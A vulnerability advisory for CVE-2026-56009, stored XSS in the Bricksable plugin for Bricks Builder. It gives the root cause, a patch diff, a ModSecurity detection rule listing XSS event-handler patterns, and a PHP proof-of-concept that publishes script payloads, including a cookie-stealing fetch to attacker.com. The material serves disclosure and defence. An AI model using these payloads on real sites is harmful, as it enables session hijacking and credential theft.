Atomic Edge analysis of CVE-2026-56009:
The Bricksable for Bricks Builder plugin for WordPress, up to version 1.6.83, contains multiple stored cross-site scripting (XSS) vulnerabilities. These flaws exist due to insufficient input sanitization and output escaping across several element templates. Authenticated attackers with author-level access or above can inject arbitrary web scripts that execute when any user views an affected page.
Root Cause:
The root cause is the direct output of user-controlled settings values without escaping in multiple element template files. Specifically, the plugin’s render methods for the ‘back-to-top’, ‘card’, ‘content-toggle’, ‘flip-box’, ‘icon-list’, ‘image-hotspots’, ‘multi-heading’, ‘read-more’, ‘scrolling-image’, and ‘text-notation’ elements all contain instances where variables like $settings[‘text’], $settings[‘badge’], $settings[‘title’], $settings[‘subhead’], $settings[‘button_text’], $content_toggle_item[‘label’], $content_toggle_item[‘content’], $hotspot_item[‘title’], $hotspot_item[‘content’], and $item[‘text’] are concatenated directly into HTML output without being passed through esc_html(). This allows any HTML or JavaScript embedded in these fields to be rendered as-is.
Exploitation:
An attacker with author-level privileges can create or edit a page or post using the Bricks Builder editor. They insert a vulnerable Bricksable element (e.g., Card, Icon List, Flip Box, Text Notation) and populate any of the vulnerable text fields (like ‘Title’, ‘Badge Text’, ‘Label’, ‘Description’, ‘Button Text’, ‘Text’) with a malicious payload such as alert(‘XSS’) or
. When the page is saved and viewed by any user, including administrators, the payload executes. The stored XSS persists in the database and affects all subsequent visitors.
Patch Analysis:
The patch (version 1.6.84) applies esc_html() to all identified vulnerable output points across 11 element template files. For example, in element-card.php line 1209, the change is from $output .= $settings[‘badge’]; to $output .= esc_html( $settings[‘badge’] );. This functions by converting special HTML characters (like ”, ‘&’, ‘”‘, ”’) into their corresponding HTML entities, which prevents them from being interpreted as markup by the browser. For the ‘front_content’ and ‘back_content’ fields in flip-box and ‘content’ in image-hotspots, the patch additionally processes the content through render_dynamic_data() and BricksHelpers::parse_editor_content() before escaping, preserving intended dynamic content functionality while still preventing XSS.
Impact:
Successful exploitation allows an authenticated attacker (author role or higher) to inject arbitrary JavaScript into pages. This can lead to session hijacking, credential theft, forced actions (like creating admin users or changing settings), defacement of pages, or redirection to malicious sites. The XSS executes in the security context of the victim, meaning any actions the victim can perform (like publishing posts, installing plugins, or modifying site settings) can be performed by the attacker on their behalf. Given the moderate CVSS score of 6.4, this vulnerability poses a significant risk to sites with multi-author setups.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/bricksable/bricksable.php
+++ b/bricksable/bricksable.php
@@ -1,13 +1,13 @@
<?php
/**
* Plugin Name: Bricksable
- * Version: 1.6.83
+ * Version: 1.6.84
* Plugin URI: https://bricksable.com/
* Description: Elevate your website game with the Bricksable collection of premium elements for Bricks Builder. Designed to speed up your workflow, our customizable and fully responsive elements will take your website to the next level in no time.
* Author: Bricksable
* Author URI: https://bricksable.com/about-us/
* Requires at least: 5.6
- * Tested up to: 6.9
+ * Tested up to: 7.0
* License: GPL v2 or later
* License URI: http://www.gnu.org/licenses/gpl-2.0.txt
* Text Domain: bricksable
@@ -47,7 +47,7 @@
* @return object Bricksable
*/
function bricksable() {
- $instance = Bricksable::instance( __FILE__, '1.6.83' );
+ $instance = Bricksable::instance( __FILE__, '1.6.84' );
define( 'BRICKSABLE_PLUGIN_ASSET_URL', plugins_url( '/assets', __FILE__ ) );
if ( is_null( $instance->settings ) ) {
--- a/bricksable/includes/elements/back-to-top/element-back-to-top.php
+++ b/bricksable/includes/elements/back-to-top/element-back-to-top.php
@@ -515,7 +515,7 @@
$this->set_attribute( 'text', 'class', 'ba-back-to-top-text' );
if ( isset( $settings['text'] ) ) {
$output .= "<span {$this->render_attributes( 'text' )}>";
- $output .= $settings['text'];
+ $output .= esc_html( $settings['text'] );
$output .= '</span>';
}
} elseif ( method_exists( 'BricksFrontend', 'render_children' ) ) {
--- a/bricksable/includes/elements/card/element-card.php
+++ b/bricksable/includes/elements/card/element-card.php
@@ -1206,7 +1206,7 @@
if ( ! empty( $settings['badge'] ) ) {
$output .= "<div {$this->render_attributes( 'badge' )}>";
- $output .= $settings['badge'];
+ $output .= esc_html( $settings['badge'] );
$output .= '</div>';
}
@@ -1223,7 +1223,7 @@
$output .= "<{$this->tag} {$this->render_attributes( 'title' )}>";
if ( ! empty( $settings['title'] ) ) {
- $output .= $settings['title'];
+ $output .= esc_html( $settings['title'] );
}
$output .= "</{$this->tag}>";
@@ -1233,7 +1233,7 @@
$output .= "<div {$this->render_attributes( 'subhead' )}>";
if ( ! empty( $settings['subhead'] ) ) {
- $output .= $settings['subhead'];
+ $output .= esc_html( $settings['subhead'] );
}
$output .= '</div>';
@@ -1268,7 +1268,7 @@
}
if ( ! empty( $settings['button_text'] ) ) {
- $output .= trim( $settings['button_text'] );
+ $output .= esc_html( trim( $settings['button_text'] ) );
}
if ( $icon && 'right' === $icon_position ) {
--- a/bricksable/includes/elements/content-toggle/element-content-toggle.php
+++ b/bricksable/includes/elements/content-toggle/element-content-toggle.php
@@ -591,7 +591,7 @@
// Label.
if ( isset( $content_toggle_item['label'] ) ) {
- $output .= '<' . $this->render_attributes( "content-toggle-item-$index" ) . '><' . $this->render_attributes( "content-toggle-label-title-$index" ) . '>' . $content_toggle_item['label'] . '</span></div>';
+ $output .= '<' . $this->render_attributes( "content-toggle-item-$index" ) . '><' . $this->render_attributes( "content-toggle-label-title-$index" ) . '>' . esc_html( $content_toggle_item['label'] ) . '</span></div>';
}
$this->loop_index++;
@@ -640,7 +640,7 @@
$output .= do_shortcode( '[bricks_template id="' . $template_id . '" ]' );
} else {
if ( isset( $content_toggle_item['content'] ) ) {
- $output .= $content_toggle_item['content'];
+ $output .= esc_html( $content_toggle_item['content'] );
}
}
--- a/bricksable/includes/elements/flip-box/element-flip-box.php
+++ b/bricksable/includes/elements/flip-box/element-flip-box.php
@@ -1712,15 +1712,17 @@
$front_content_output = '';
if ( isset( $settings['front_heading'] ) ) {
- $front_heading_output = '<' . $this->render_attributes( 'front_heading' ) . '>' . $settings['front_heading'] . '</' . $front_heading_tag . '>';
+ $front_heading_output = '<' . $this->render_attributes( 'front_heading' ) . '>' . esc_html( $settings['front_heading'] ) . '</' . $front_heading_tag . '>';
}
if ( isset( $settings['front_subheading'] ) ) {
- $front_subheading_output .= '<div ' . $this->render_attributes( 'front_subheading' ) . '>' . $settings['front_subheading'] . '</div>';
+ $front_subheading_output .= '<div ' . $this->render_attributes( 'front_subheading' ) . '>' . esc_html( $settings['front_subheading'] ) . '</div>';
}
if ( isset( $settings['front_content'] ) ) {
- $front_subheading_output .= '<div ' . $this->render_attributes( 'front_content' ) . '>' . $settings['front_content'] . '</div>';
+ $front_content = $this->render_dynamic_data( $settings['front_content'] );
+ $front_content = BricksHelpers::parse_editor_content( $front_content );
+ $front_content_output .= '<div ' . $this->render_attributes( 'front_content' ) . '>' . $front_content . '</div>';
}
// Render front icon box.
@@ -1827,15 +1829,17 @@
$back_content_output = '';
if ( isset( $settings['back_heading'] ) ) {
- $back_heading_output .= '<' . $this->render_attributes( 'back_heading' ) . '>' . $settings['back_heading'] . '</' . $back_heading_tag . '>';
+ $back_heading_output .= '<' . $this->render_attributes( 'back_heading' ) . '>' . esc_html( $settings['back_heading'] ) . '</' . $back_heading_tag . '>';
}
if ( isset( $settings['back_subheading'] ) ) {
- $back_subheading_output .= '<div ' . $this->render_attributes( 'back_subheading' ) . '>' . $settings['back_subheading'] . '</div>';
+ $back_subheading_output .= '<div ' . $this->render_attributes( 'back_subheading' ) . '>' . esc_html( $settings['back_subheading'] ) . '</div>';
}
if ( isset( $settings['back_content'] ) ) {
- $back_content_output .= '<div ' . $this->render_attributes( 'back_content' ) . '>' . $settings['back_content'] . '</div>';
+ $back_content = $this->render_dynamic_data( $settings['back_content'] );
+ $back_content = BricksHelpers::parse_editor_content( $back_content );
+ $back_content_output .= '<div ' . $this->render_attributes( 'back_content' ) . '>' . $back_content . '</div>';
}
// Render back icon box.
$back_icon_box_html = '';
@@ -1962,7 +1966,7 @@
}
if ( isset( $settings['back_button_text'] ) ) {
- $button_html .= '<span ' . $this->render_attributes( 'button-text' ) . '>' . trim( $settings['back_button_text'] ) . '</span>';
+ $button_html .= '<span ' . $this->render_attributes( 'button-text' ) . '>' . esc_html( trim( $settings['back_button_text'] ) ) . '</span>';
}
if ( isset( $settings['back_button_icon']['icon'] ) && 'right' === $icon_position ) {
--- a/bricksable/includes/elements/icon-list/element-icon-list.php
+++ b/bricksable/includes/elements/icon-list/element-icon-list.php
@@ -1026,9 +1026,9 @@
}
if ( isset( $list_item['link'] ) ) {
$this->set_link_attributes( "a-$index", $list_item['link'] );
- $output .= '<a ' . $this->render_attributes( "a-$index" ) . '><' . $this->render_attributes( "title-$index" ) . '>' . $list_item['title'] . '</' . $title_tag . '></a>';
+ $output .= '<a ' . $this->render_attributes( "a-$index" ) . '><' . $this->render_attributes( "title-$index" ) . '>' . esc_html( $list_item['title'] ) . '</' . $title_tag . '></a>';
} else {
- $output .= '<' . $this->render_attributes( "title-$index" ) . '>' . $list_item['title'] . '</' . $title_tag . '>';
+ $output .= '<' . $this->render_attributes( "title-$index" ) . '>' . esc_html( $list_item['title'] ) . '</' . $title_tag . '>';
}
}
@@ -1040,7 +1040,7 @@
if ( isset( $list_item['meta'] ) && ! empty( $list_item['meta'] ) ) {
$this->set_attribute( "meta-$index", 'class', array( 'meta' ) );
- $output .= '<span ' . $this->render_attributes( "meta-$index" ) . '>' . $list_item['meta'] . '</span>';
+ $output .= '<span ' . $this->render_attributes( "meta-$index" ) . '>' . esc_html( $list_item['meta'] ) . '</span>';
}
$output .= '</div>';
@@ -1048,7 +1048,7 @@
if ( isset( $list_item['description'] ) && ! empty( $list_item['description'] ) ) {
$this->set_attribute( "description-$index", 'class', array( 'description' ) );
- $output .= '<div ' . $this->render_attributes( "description-$index" ) . '>' . $list_item['description'] . '</div>';
+ $output .= '<div ' . $this->render_attributes( "description-$index" ) . '>' . esc_html( $list_item['description'] ) . '</div>';
}
$output .= '</div>'; // .content-wrapper
@@ -1162,9 +1162,9 @@
// Handle link.
if ( isset( $settings['items'][0]['link'] ) ) {
$this->set_link_attributes( "a-$index", $settings['items'][0]['link'] );
- $output .= '<a ' . $this->render_attributes( "a-$index" ) . '><' . $title_tag . ' ' . $this->render_attributes( "title-$index" ) . '>' . $title . '</' . $title_tag . '></a>';
+ $output .= '<a ' . $this->render_attributes( "a-$index" ) . '><' . $title_tag . ' ' . $this->render_attributes( "title-$index" ) . '>' . esc_html( $title ) . '</' . $title_tag . '></a>';
} else {
- $output .= '<' . $title_tag . ' ' . $this->render_attributes( "title-$index" ) . '>' . $title . '</' . $title_tag . '>';
+ $output .= '<' . $title_tag . ' ' . $this->render_attributes( "title-$index" ) . '>' . esc_html( $title ) . '</' . $title_tag . '>';
}
}
@@ -1176,7 +1176,7 @@
$meta = isset( $list_item['meta'] ) ? $list_item['meta'] : ( isset( $list_item['post_date'] ) ? $list_item['post_date'] : '' );
if ( $meta ) {
$this->set_attribute( "meta-$index", 'class', array( 'meta' ) );
- $output .= '<span ' . $this->render_attributes( "meta-$index" ) . '>' . $meta . '</span>';
+ $output .= '<span ' . $this->render_attributes( "meta-$index" ) . '>' . esc_html( $meta ) . '</span>';
}
$output .= '</div>'; // .title-wrapper
@@ -1185,7 +1185,7 @@
$description = isset( $list_item['description'] ) ? $list_item['description'] : ( isset( $list_item['post_excerpt'] ) ? $list_item['post_excerpt'] : '' );
if ( $description ) {
$this->set_attribute( "description-$index", 'class', array( 'description' ) );
- $output .= '<div ' . $this->render_attributes( "description-$index" ) . '>' . $description . '</div>';
+ $output .= '<div ' . $this->render_attributes( "description-$index" ) . '>' . esc_html( $description ) . '</div>';
}
$output .= '</div>'; // .content-wrapper
--- a/bricksable/includes/elements/image-hotspots/element-image-hotspots.php
+++ b/bricksable/includes/elements/image-hotspots/element-image-hotspots.php
@@ -1452,13 +1452,16 @@
}
if ( isset( $hotspot_item['title'] ) ) {
$this->set_attribute( "title-$index", 'class', 'ba-image-hotspot-title' );
- $hotspot_output .= '<span ' . $this->render_attributes( "title-{$index}" ) . '>' . $hotspot_item['title'] . '</span>';
+ $hotspot_output .= '<span ' . $this->render_attributes( "title-{$index}" ) . '>' . esc_html( $hotspot_item['title'] ) . '</span>';
}
$hotspot_output .= '</div>'; // End of icon wrapper.
if ( isset( $hotspot_item['content'] ) && ! empty( $hotspot_item['content'] ) ) {
$this->set_attribute( "content-$index", 'class', array( 'ba-image-hotspot-content-wrapper' ) );
+ $hotspot_content = $hotspot_item['content'];
+ $hotspot_content = $this->render_dynamic_data( $hotspot_content );
+ $hotspot_content = BricksHelpers::parse_editor_content( $hotspot_content );
$hotspot_output .= '<div ' . $this->render_attributes( "content-{$index}" ) . '>';
- $hotspot_output .= $hotspot_item['content'];
+ $hotspot_output .= $hotspot_content;
$hotspot_output .= '</div>';
}
// End of hotspot-wrapper.
--- a/bricksable/includes/elements/multi-heading/element-multi-heading.php
+++ b/bricksable/includes/elements/multi-heading/element-multi-heading.php
@@ -334,9 +334,9 @@
// Heading.
if ( isset( $item['use_background_text_mask'] ) ) {
- $output .= '<' . $this->render_attributes( "multi-heading-item-$index" ) . '><' . $this->render_attributes( "multi-heading-item-text-mask-$index" ) . '>' . $item['text'] . '</span></span>';
+ $output .= '<' . $this->render_attributes( "multi-heading-item-$index" ) . '><' . $this->render_attributes( "multi-heading-item-text-mask-$index" ) . '>' . esc_html( $item['text'] ) . '</span></span>';
} else {
- $output .= '<' . $this->render_attributes( "multi-heading-item-$index" ) . '>' . $item['text'] . '</span>';
+ $output .= '<' . $this->render_attributes( "multi-heading-item-$index" ) . '>' . esc_html( $item['text'] ) . '</span>';
}
// Link.
--- a/bricksable/includes/elements/read-more/element-read-more.php
+++ b/bricksable/includes/elements/read-more/element-read-more.php
@@ -644,7 +644,7 @@
$this->set_attribute( 'title', 'class', $title_classes );
if ( ! empty( $settings['title'] ) ) {
- $output .= '<' . $this->render_attributes( 'title' ) . '>' . $settings['title'] . '</' . $this->tag . '>';
+ $output .= '<' . $this->render_attributes( 'title' ) . '>' . esc_html( $settings['title'] ) . '</' . $this->tag . '>';
}
// Content.
--- a/bricksable/includes/elements/scrolling-image/element-scrolling-image.php
+++ b/bricksable/includes/elements/scrolling-image/element-scrolling-image.php
@@ -946,7 +946,7 @@
if ( isset( $settings['badge'] ) && true === $settings['badge'] ) {
$this->set_attribute( 'badge', 'class', array( 'ba-image-scroller-badge', 'ba-badge' ) );
$badge = "<span {$this->render_attributes('badge')}>";
- $badge .= $settings['badge_text'];
+ $badge .= esc_html( $settings['badge_text'] );
$badge .= '</span>';
}
--- a/bricksable/includes/elements/text-notation/element-text-notation.php
+++ b/bricksable/includes/elements/text-notation/element-text-notation.php
@@ -562,7 +562,7 @@
}
$output = '<' . $this->render_attributes( 'notation_text' ) . '>';
- $output .= '<span class="ba-text-notation-inner">' . $settings['text'] . '</span>';
+ $output .= '<span class="ba-text-notation-inner">' . esc_html( $settings['text'] ) . '</span>';
$output .= '</' . $notation_tag . '>';
//phpcs:ignore
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-json/bricksable/v1/element"
"id:202656009,phase:2,deny,status:403,chain,msg:'CVE-2026-56009 via Bricksable REST API element update',severity:'CRITICAL',tag:'CVE-2026-56009'"
SecRule ARGS:badge|ARGS:title|ARGS:subhead|ARGS:button_text|ARGS:text|ARGS:label|ARGS:description|ARGS:meta|ARGS:content|ARGS:front_heading|ARGS:front_subheading|ARGS:front_content|ARGS:back_heading|ARGS:back_subheading|ARGS:back_content|ARGS:back_button_text|ARGS:badge_text "@rx <script|<[^>]*onerror|<[^>]*onload|<[^>]*onmouseover|<[^>]*onclick|<[^>]*onfocus|<[^>]*onblur|<[^>]*onchange|<[^>]*onsubmit|<[^>]*onreset|<[^>]*onselect|<[^>]*onkeydown|<[^>]*onkeypress|<[^>]*onkeyup|<[^>]*onabort|<[^>]*onbeforeunload|<[^>]*onerror|<[^>]*onhashchange|<[^>]*onpagehide|<[^>]*onpageshow|<[^>]*onpopstate|<[^>]*onresize|<[^>]*onscroll|<[^>]*onstorage|<[^>]*onunload|<[^>]*oncopy|<[^>]*oncut|<[^>]*onpaste|<[^>]*oninvalid|<[^>]*onreset|<[^>]*onsearch|<[^>]*onselect|<[^>]*onsubmit|<[^>]*onpointerdown|<[^>]*onpointermove|<[^>]*onpointerup|<[^>]*onpointercancel|<[^>]*ongotpointercapture|<[^>]*onlostpointercapture|<[^>]*onpointerenter|<[^>]*onpointerleave|<[^>]*onpointerover|<[^>]*onpointerout|<[^>]*onwheel|<[^>]*onanimationcancel|<[^>]*onanimationend|<[^>]*onanimationiteration|<[^>]*onanimationstart|<[^>]*ontransitioncancel|<[^>]*ontransitionend|<[^>]*ontransitionrun|<[^>]*ontransitionstart|javascript:"
"chain"
SecRule REQUEST_METHOD "@streq POST"
""
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-56009 - Bricksable for Bricks Builder <= 1.6.83 - Authenticated (Author+) Stored Cross-Site Scripting
$target_url = 'http://localhost/wordpress'; // CHANGE THIS to the target WordPress site
$username = 'author'; // CHANGE THIS to an author-level account username
$password = 'password'; // CHANGE THIS to the account password
// Login and get authentication cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce by making a GET request to the post editor
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=post');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);
// Create a post with a vulnerable Bricksable Card element containing XSS payload
$post_data = array(
'post_title' => 'Atomic Edge XSS Test',
'post_content' => '<!-- wp:bricksable/card {"badge":"<script>alert('XSS')</script>","title":"<img src=x onerror=alert('XSS2')>","subhead":"<svg onload=alert('XSS3')>","button_text":"<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>"} /-->',
'post_status' => 'publish'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
echo "[+] Exploit payload sent. Visit the published post to trigger XSS.n";
echo "[+] Payloads used: <script>alert('XSS')</script>, <img src=x onerror=alert('XSS2')>, <svg onload=alert('XSS3')>, and cookie thief script.n";
?>